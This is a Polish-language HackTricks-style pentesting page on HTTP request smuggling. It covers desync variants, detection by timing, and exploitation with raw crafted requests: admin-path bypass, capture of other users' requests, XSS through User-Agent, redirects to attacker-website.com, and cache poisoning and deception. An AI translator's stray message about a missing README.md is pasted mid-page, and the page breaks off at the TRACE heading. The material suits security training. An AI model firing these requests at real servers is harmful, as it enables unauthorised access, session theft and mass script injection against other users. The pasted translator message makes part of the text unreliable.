HTTP Request Smuggling / HTTP Desync Attack
Reading time: 29 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Co to jest
Ta podatność występuje, gdy występuje desynchronizacja pomiędzy front-end proxies a serwerem back-end, co pozwala attacker wysłać żądanie HTTP, które będzie interpretowane jako pojedyncze żądanie przez front-end proxies (load balance/reverse-proxy) i jako 2 żądania przez serwer back-end.\ To pozwala użytkownikowi zmodyfikować następne żądanie, które dotrze do back-end po jego.
Theory
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Reality
Front-End (a load-balance / Reverse Proxy) przetwarza nagłówek Content-Length lub Transfer-Encoding, a serwer Back-end przetwarza drugi z nich, powodując desynchronizację pomiędzy tymi dwoma systemami.\ To może być bardzo krytyczne, ponieważ attacker będzie w stanie wysłać jedno żądanie do reverse proxy, które będzie interpretowane przez serwer back-end jako 2 różne żądania. Niebezpieczeństwo tej techniki polega na tym, że serwer back-end zinterpretuje wstrzyknięte drugie żądanie tak, jakby pochodziło od następnego klienta, a prawdziwe żądanie tego klienta stanie się częścią żądania wstrzykniętego.
Szczegóły
Pamiętaj, że w HTTP znak nowej linii składa się z 2 bajtów:
- Content-Length: Ten nagłówek używa liczby dziesiętnej, aby wskazać liczbę bajtów w body żądania. Oczekuje się, że body kończy się na ostatnim znaku, nowa linia nie jest wymagana na końcu żądania.
- Transfer-Encoding: Ten nagłówek używa w body liczby szesnastkowej, aby wskazać liczbę bajtów następnego chunka. Chunk musi kończyć się nową linią, ale ta nowa linia nie jest zliczana przez wskaźnik długości. Ta metoda transferu musi zakończyć się chunkiem o rozmiarze 0, po którym następują 2 nowe linie:
0
- Connection: Z mojego doświadczenia zaleca się używanie
Connection: keep-alive
w pierwszym żądaniu Request Smuggling.
Basic Examples
tip
When trying to exploit this with Burp Suite disable Update Content-Length
and Normalize HTTP/1 line endings
in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling attacks są tworzone przez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków Content-Length
(CL) i Transfer-Encoding
(TE) przez front-end i back-end. Te ataki mogą przyjmować różne formy, głównie jako CL.TE, TE.CL i TE.TE. Każdy typ reprezentuje unikalne połączenie tego, jak front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych skutków.
Basic Examples of Vulnerability Types
tip
Do powyższej tabeli należy dodać technikę TE.0, podobnie jak technikę CL.0, ale używając Transfer-Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Przetwarza żądanie na podstawie nagłówka
Content-Length
. -
Back-End (TE): Przetwarza żądanie na podstawie nagłówka
Transfer-Encoding
. -
Scenariusz ataku:
-
Atacker wysyła żądanie, w którym wartość nagłówka
Content-Length
nie odpowiada rzeczywistej długości treści. -
Front-end przekazuje całe żądanie do back-end zgodnie z wartością
Content-Length
. -
Back-end przetwarza żądanie jako chunked z powodu nagłówka
Transfer-Encoding: chunked
, interpretując pozostałe dane jako oddzielne, następne żądanie. -
Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Przetwarza żądanie na podstawie nagłówka
Transfer-Encoding
. -
Back-End (CL): Przetwarza żądanie na podstawie nagłówka
Content-Length
. -
Scenariusz ataku:
-
Atacker wysyła żądanie chunked, w którym rozmiar chunka (
7b
) i rzeczywista długość treści (Content-Length: 4
) nie zgadzają się. -
Front-end, honorując
Transfer-Encoding
, forwarduje całe żądanie do back-end. -
Back-end, respektując
Content-Length
, przetwarza tylko początkową część żądania (7b
bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie. -
Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Oba obsługują
Transfer-Encoding
, ale jeden może zostać oszukany, aby go zignorować poprzez obfuskację. -
Scenariusz ataku:
-
Atacker wysyła żądanie z obfuskowanymi nagłówkami
Transfer-Encoding
. -
W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL.
-
Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.
-
Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka
Content-Length
. - Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w sposobie interpretacji długości żądania przez oba serwery.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Odnosi się do scenariuszy, w których nagłówek
Content-Length
jest obecny i ma wartość różną od zera, wskazując, że body żądania zawiera treść. Back-end ignoruje nagłówekContent-Length
(traktowany jako 0), ale front-end go parsuje. - Ma to kluczowe znaczenie przy zrozumieniu i tworzeniu ataków smuggling, ponieważ wpływa na to, jak serwery określają koniec żądania.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Podobne do poprzedniego, ale używające TE
- Technika reported here
- Przykład:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Zakłócanie działania serwera WWW
Ta technika jest również przydatna w scenariuszach, gdzie możliwe jest spowodowanie awarii serwera WWW podczas odczytu początkowych danych HTTP, ale bez zamykania połączenia. W ten sposób treść żądania HTTP będzie uznana za następne żądanie HTTP.
Na przykład, jak wyjaśniono w this writeup, w Werkzeug można było wysłać pewne znaki Unicode, co spowodowało awarię serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive
, treść żądania nie zostanie odczytana, a połączenie pozostanie otwarte, więc treść żądania będzie traktowana jako następne żądanie HTTP.
Wymuszanie przez hop-by-hop headers
Nadużywając hop-by-hop headers, można wymusić, by proxy usunęło nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe będzie wykorzystanie HTTP request smuggling.
Connection: Content-Length
Po więcej informacji o hop-by-hop headers zobacz:
Wykrywanie HTTP Request Smuggling
Identyfikacja podatności HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwacji, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Poza tymi metodami istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
Wykrywanie podatności CL.TE za pomocą technik czasowych
-
Metoda:
-
Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
-
Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Obserwacja:
-
Serwer front-end przetwarza żądanie w oparciu o
Content-Length
i przerywa wiadomość przedwcześnie. -
Serwer back-end, oczekując wiadomości w formacie chunked, czeka na następny chunk, który nigdy nie nadchodzi, powodując opóźnienie.
-
Wskaźniki:
-
Przekroczenia czasu (timeout) lub długie opóźnienia w odpowiedzi.
-
Otrzymanie błędu 400 Bad Request od serwera back-end, czasami z dodatkowymi informacjami o serwerze.
Wykrywanie podatności TE.CL za pomocą technik czasowych
-
Metoda:
-
Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
-
Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Obserwacja:
- Serwer front-end przetwarza żądanie w oparciu o
Transfer-Encoding
i przekazuje całe żądanie. - Serwer back-end, oczekując wiadomości opartej na
Content-Length
, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.
Inne metody znajdowania podatności
- Analiza różnic odpowiedzi:
- Wyślij lekko zmodyfikowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazywałoby na rozbieżność w parsowaniu.
- Użycie narzędzi automatycznych:
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
- Testy zmienności Content-Length:
- Wyślij żądania z różnymi wartościami
Content-Length
, które nie odpowiadają rzeczywistej długości treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami. - Testy zmienności Transfer-Encoding:
- Wyślij żądania z obfuskowanymi lub uszkodzonymi nagłówkami
Transfer-Encoding
i monitoruj, jak różnie front-end i back-end reagują na takie manipulacje.
Testowanie podatności HTTP Request Smuggling
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta da się zmanipulować. Prostym sposobem jest próba poisonowania żądań, na przykład sprawienie, by żądanie do /
zwracało odpowiedź 404. Przykłady CL.TE
i TE.CL
omówione wcześniej w Basic Examples pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.
Kluczowe uwagi
Testując podatności request smuggling przez ingerencję w inne żądania, miej na uwadze:
- Oddzielne połączenia sieciowe: Żądania "attack" i "normal" powinny być wysłane przez oddzielne połączenia sieciowe. Wykorzystywanie tego samego połączenia dla obu nie potwierdza istnienia podatności.
- Spójny URL i parametry: Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Współczesne aplikacje często kierują żądania do konkretnych serwerów back-end na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania zostaną obsłużone przez ten sam serwer, co jest warunkiem koniecznym do przeprowadzenia udanego ataku.
- Czas i warunki wyścigu: Żądanie "normal", mające wykryć interferencję ze strony żądania "attack", konkuruje z innymi jednoczesnymi żądaniami aplikacji. Dlatego wyślij żądanie "normal" bezpośrednio po żądaniu "attack". W przypadku obciążonych aplikacji może być konieczne wykonanie wielu prób, aby uzyskać przekonujące potwierdzenie podatności.
- Wyzwania związane z load balancingiem: Serwery front-end działające jako load balancery mogą rozdzielać żądania między różne systemy back-end. Jeśli żądania "attack" i "normal" trafią na różne systemy, atak nie powiedzie się. Aspekt rozkładania obciążenia może wymagać kilku prób, by potwierdzić podatność.
- Nieintencjonalny wpływ na użytkowników: Jeśli twój atak nieumyślnie wpłynie na żądanie innego użytkownika (nie tego wysłanego jako "normal"), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, dlatego należy postępować ostrożnie.
Rozróżnianie artefaktów HTTP/1.1 pipelining a prawdziwego request smuggling
Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo tworzyć iluzje "smuggling" w narzędziach testowych, które wysyłają wiele żądań przez ten sam socket. Naucz się rozróżniać nieszkodliwe artefakty po stronie klienta od prawdziwych desynchronizacji po stronie serwera.
Dlaczego pipelining powoduje klasyczne fałszywe pozytywy
HTTP/1.1 ponownie używa jednego połączenia TCP/TLS i konkatenizuje żądania i odpowiedzi na tym samym strumieniu. W pipelining klient wysyła wiele żądań jedno po drugim i oczekuje odpowiedzi w tej samej kolejności. Powszechnym fałszywym pozytywem jest ponowne wysłanie zniekształconego ładunku w stylu CL.0 dwukrotnie na jednym połączeniu:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
I don't see the README.md contents. Please paste the markdown you want translated (or confirm you want me to translate the file at src/pentesting-web/http-request-smuggling/README.md and paste its contents). I will translate visible English text to Polish, preserving all code, tags, links, refs, paths and hacking technique/platform names exactly as you requested.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Jeśli serwer zignorował nieprawidłowy Content_Length
, nie występuje FE↔BE desync. With reuse, twój klient faktycznie wysłał ten byte-stream, który serwer zinterpretował jako dwa niezależne żądania:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Wpływ: brak. Po prostu rozesynchronizowałeś klienta od ramowania serwera.
tip
Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z requestsPerConnection>1
, Intruder z "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" lub "Enable connection reuse".
Testy rozróżniające: pipelining czy prawdziwe desync?
- Wyłącz reuse i przetestuj ponownie
- W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence".
- W Turbo Intruder ustaw
requestsPerConnection=1
ipipeline=False
. - Jeśli zachowanie ustępuje, najpewniej to client-side pipelining, chyba że cel jest connection-locked/stateful lub występuje client-side desync.
- HTTP/2 nested-response check
- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniono błąd parsowania/desync po stronie backendu, a nie czysto klientowy artefakt.
- Partial-requests probe dla connection-locked front-endów
- Niektóre FEs ponownie używają połączenia upstream BE tylko jeśli klient ponownie użył swojego. Użyj partial-requests, by wykryć zachowanie FE, które odzwierciedla reuse klienta.
- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection-locked.
- Próby stanu
- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" zawiera connection‑state probe, która to automatyzuje.
- Wizualizuj ruch sieciowy
- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzać konkatenację i ramowanie wiadomości podczas eksperymentów z reuse i partial requests.
Connection‑locked request smuggling (reuse-required)
Niektóre front-endy ponownie używają połączenia upstream tylko wtedy, gdy klient użyje swojego ponownie. Prawdziwe smuggling istnieje, ale zależy od client-side reuse. Aby rozróżnić i udowodnić wpływ:
- Udowodnij błąd po stronie serwera
- Użyj HTTP/2 nested-response check, albo
- Użyj partial-requests, by pokazać, że FE ponownie używa upstream tylko gdy klient to robi.
- Pokaż rzeczywisty wpływ nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane:
- Cache poisoning: zatruj współdzielone cache przez desync, tak aby odpowiedzi wpływały na innych użytkowników.
- Internal header disclosure: odzwierciedl FE-wstrzyknięte nagłówki (np. auth/trust headers) i pivot do obejścia uwierzytelnienia.
- Bypass FE controls: smuggle ograniczone ścieżki/metody poza front-end.
- Host-header abuse: połącz z dziwactwami routingu hosta, aby pivotować do wewnętrznych vhostów.
- Przepływ pracy operatora
- Odtwórz z kontrolowanym reuse (Turbo Intruder
requestsPerConnection=2
, lub Burp Repeater tab group → "Send group in sequence (single connection)"). - Następnie połącz z prymitywami do cache/header-leak/control-bypass i zademonstruj wpływ na wielu użytkowników lub autoryzację.
Zobacz także connection‑state attacks, które są ściśle powiązane, ale technicznie nie są smugglingiem:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Ograniczenia client‑side desync
Jeśli celujesz w browser-powered/client-side desync, złośliwe żądanie musi być możliwe do wysłania przez przeglądarkę cross-origin. Sztuczki z obfuskacją nagłówków nie zadziałają. Skup się na prymitywach osiągalnych przez navigation/fetch, a następnie pivotuj do cache poisoning, header disclosure lub omijania kontroli front-end, gdy downstream components odzwierciedlają lub cachują odpowiedzi.
Dla kontekstu i end-to-end workflow:
Browser HTTP Request Smuggling
Narzędzia pomocne przy ocenie
- HTTP Hacker (Burp BApp Store): ujawnia niskopoziomowe zachowanie HTTP i konkatenację socketów.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precyzyjna kontrola reuse połączeń przez
requestsPerConnection
. - Burp HTTP Request Smuggler: zawiera connection‑state probe do wykrywania first‑request routing/validation.
note
Traktuj efekty zależne wyłącznie od reuse jako nieistotne, chyba że potrafisz udowodnić server-side desync i dołączyć konkretny wpływ (poisoned cache artifact, leaked internal header umożliwiający privilege bypass, bypassed FE control itp.).
Wykorzystywanie HTTP Request Smuggling
Omijanie zabezpieczeń front-endu za pomocą HTTP Request Smuggling
Czasami proxy front-endowe stosują zabezpieczenia, analizując przychodzące żądania. Te zabezpieczenia można jednak obejść, wykorzystując HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do ograniczonych endpointów. Na przykład dostęp do /admin
może być zabroniony z zewnątrz, a front-end proxy aktywnie blokuje takie próby. Niemniej jednak to proxy może zaniedbać inspekcję osadzonych żądań w smuggled HTTP request, pozostawiając lukę do obejścia tych ograniczeń.
Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być użyte do ominięcia kontroli bezpieczeństwa front-endu, ze szczególnym uwzględnieniem ścieżki /admin
, która zazwyczaj jest chroniona przez front-end proxy:
CL.TE Przykład
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
W ataku CL.TE nagłówek Content-Length
jest wykorzystywany dla żądania początkowego, podczas gdy osadzone, następcze żądanie używa nagłówka Transfer-Encoding: chunked
. Front-end proxy przetwarza początkowe żądanie POST
, ale nie sprawdza osadzonego żądania GET /admin
, co pozwala na nieautoryzowany dostęp do ścieżki /admin
.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Z kolei, w ataku TE.CL, początkowe POST
żądanie używa Transfer-Encoding: chunked
, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka Content-Length
. Podobnie jak w ataku CL.TE, front-end proxy pomija przemycone GET /admin
żądanie, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki /admin
.
Ujawnianie przepisywania żądań przez front-end
Aplikacje często używają serwera front-end do modyfikowania przychodzących żądań, zanim przekażą je do serwera back-end. Typowa modyfikacja polega na dodaniu nagłówków, takich jak X-Forwarded-For: <IP of the client>
, aby przekazać adres IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na obejście zabezpieczeń lub odkrycie ukrytych informacji lub endpointów.
Aby zbadać, jak proxy zmienia żądanie, znajdź parametr POST
, który back-end odzwierciedla w odpowiedzi. Następnie przygotuj żądanie, używając tego parametru jako ostatniego, podobne do poniższego:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
W tej strukturze kolejne komponenty żądania są dołączane po search=
, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
Ważne jest, aby nagłówek Content-Length
zagnieżdżonego żądania był dopasowany do rzeczywistej długości treści. Zaleca się zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlane dane, zaś zbyt wysoka może spowodować błąd żądania.
Technika ta ma również zastosowanie w kontekście podatności TE.CL, jednak żądanie powinno kończyć się search=\r\n0
. Niezależnie od znaków nowej linii, wartości zostaną dodane do parametru search.
Metoda ta służy przede wszystkim do zrozumienia modyfikacji żądań dokonywanych przez front-end proxy, zasadniczo przeprowadzając samoistne dochodzenie.
Przechwytywanie żądań innych użytkowników
Jest możliwe przechwycenie żądań następnego użytkownika przez dołączenie określonego żądania jako wartości parametru podczas operacji POST. Oto jak można to osiągnąć:
Dołączając poniższe żądanie jako wartość parametru, możesz przechować żądanie następnego klienta:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
W tym scenariuszu parametr comment parameter ma na celu przechowywanie zawartości sekcji komentarzy wpisu na publicznie dostępnej stronie. W konsekwencji zawartość kolejnego żądania pojawi się jako komentarz.
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do separatora parametru użytego w przemycanym żądaniu. W przypadku formularzy URL-encoded separatorem jest znak &
. Oznacza to, że przechwycona zawartość żądania ofiary zatrzyma się na pierwszym &
, który może nawet być częścią query string.
Dodatkowo warto zauważyć, że podejście to działa także w przypadku podatności TE.CL. W takich sytuacjach żądanie powinno kończyć się na search=\r\n0
. Niezależnie od znaków nowej linii, wartości zostaną dołączone do parametru search.
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling może być wykorzystany do atakowania stron podatnych na Reflected XSS, oferując istotne korzyści:
- Interakcja z docelowymi użytkownikami nie jest wymagana.
- Pozwala na wykorzystanie XSS w częściach żądania, które są zwykle nieosiągalne, takich jak nagłówki żądań HTTP.
W scenariuszach, w których strona jest podatna na Reflected XSS poprzez User-Agent header, poniższy payload pokazuje, jak wykorzystać tę podatność:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload jest skonstruowany, aby wykorzystać lukę poprzez:
- Inicjowanie
POST
żądania, pozornie typowego, z nagłówkiemTransfer-Encoding: chunked
wskazującym początek smuggling. - Następnie
0
, oznaczający koniec chunked message body. - Potem wprowadzone jest przemytowe
GET
żądanie, w którym nagłówekUser-Agent
jest wstrzyknięty skryptem<script>alert(1)</script>
, wyzwalając XSS gdy serwer przetworzy to kolejne żądanie.
Manipulując User-Agent
poprzez smuggling, payload omija normalne ograniczenia żądań, w ten sposób wykorzystując Reflected XSS w niestandardowy, ale skuteczny sposób.
HTTP/0.9
caution
W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z Content-type
takim jak text/plain
, uniemożliwiając wykonanie XSS. Jeśli serwer obsługuje HTTP/0.9, może to być możliwe do obejścia!
Wersja HTTP/0.9 istniała przed 1.0 i używa tylko metod GET oraz nie odpowiada z headers, jedynie body.
W this writeup mechanizm ten został nadużyty przy użyciu request smuggling i vulnerable endpoint that will reply with the input of the user, aby przemycić żądanie w HTTP/0.9. Parametr, który został odzwierciedlony w odpowiedzi, zawierał fake HTTP/1.1 response (with headers and body), więc odpowiedź zawierała prawidłowy wykonywalny kod JS z Content-Type
ustawionym na text/html
.
Exploiting On-site Redirects with HTTP Request Smuggling
Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka Host
w URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład żądanie folderu bez końcowego ukośnika powoduje przekierowanie dodające ukośnik:
GET /home HTTP/1.1
Host: normal-website.com
Skutkuje:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Choć pozornie nieszkodliwe, to zachowanie można zmanipulować przy użyciu HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Ten smuggled request może spowodować, że następny przetworzony request użytkownika zostanie przekierowany na attacker-controlled website:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Powoduje:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
W tym scenariuszu żądanie użytkownika o plik JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy kod JavaScript w odpowiedzi.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning może wystąpić, jeśli dowolny komponent front-end infrastructure caches content, zwykle w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest poison the cache.
Wcześniej pokazaliśmy, jak odpowiedzi serwera można zmodyfikować, by zwracały błąd 404 (zob. Basic Examples). Podobnie można oszukać serwer, aby w odpowiedzi na żądanie /static/include.js
dostarczył zawartość /index.html
. W konsekwencji zawartość /static/include.js
zostaje zastąpiona w cache zawartością z /index.html
, przez co /static/include.js
staje się niedostępny dla użytkowników, co może doprowadzić do Denial of Service (DoS).
Ta technika staje się szczególnie niebezpieczna, jeśli odkryta zostanie Open Redirect vulnerability lub istnieje on-site redirect to an open redirect. Takie luki można wykorzystać do zastąpienia zbuforowanej zawartości /static/include.js
skryptem kontrolowanym przez atakującego, co w praktyce umożliwia masowy Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego /static/include.js
.
Poniżej ilustracja wykorzystania cache poisoning combined with an on-site redirect to open redirect. Celem jest zmiana zawartości cache /static/include.js
, aby serwowała kod JavaScript kontrolowany przez atakującego:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Zwróć uwagę na osadzony request kierujący na /post/next?postId=3
. To request zostanie przekierowane do /post?postId=4
, wykorzystując wartość Host header do określenia domeny. Poprzez zmianę Host header atakujący może przekierować request do swojej domeny (on-site redirect to open redirect).
Po pomyślnym socket poisoning, należy wysłać GET request dla /static/include.js
. Ten request zostanie skażony przez poprzedni request typu on-site redirect to open redirect i pobierze zawartość skryptu kontrolowanego przez atakującego.
W rezultacie każde kolejne request do /static/include.js
będzie serwować z cache zawartość skryptu atakującego, skutecznie uruchamiając szeroko zakrojony atak XSS.
Wykorzystanie HTTP request smuggling do przeprowadzenia web cache deception
Jaka jest różnica między web cache poisoning a web cache deception?
- W web cache poisoning atakujący powoduje, że aplikacja zapisuje w cache złośliwą zawartość, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
- W web cache deception atakujący powoduje, że aplikacja zapisuje w cache wrażliwe treści należące do innego użytkownika, a następnie atakujący pobiera te treści z cache.
Atakujący przygotowuje smuggled request, który pobiera wrażliwe, specyficzne dla użytkownika treści. Rozważ następujący przykład:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Jeśli ten smuggled request zatruje wpis w pamięci podręcznej przeznaczony dla zawartości statycznej (np. /someimage.png
), dane wrażliwe ofiary pochodzące z /private/messages
mogą zostać zapisane w tym wpisie. W efekcie atakujący mógłby potencjalnie odczytać te dane wrażliwe z pamięci podręcznej.
Wykorzystywanie TRACE przez HTTP Request Smuggling
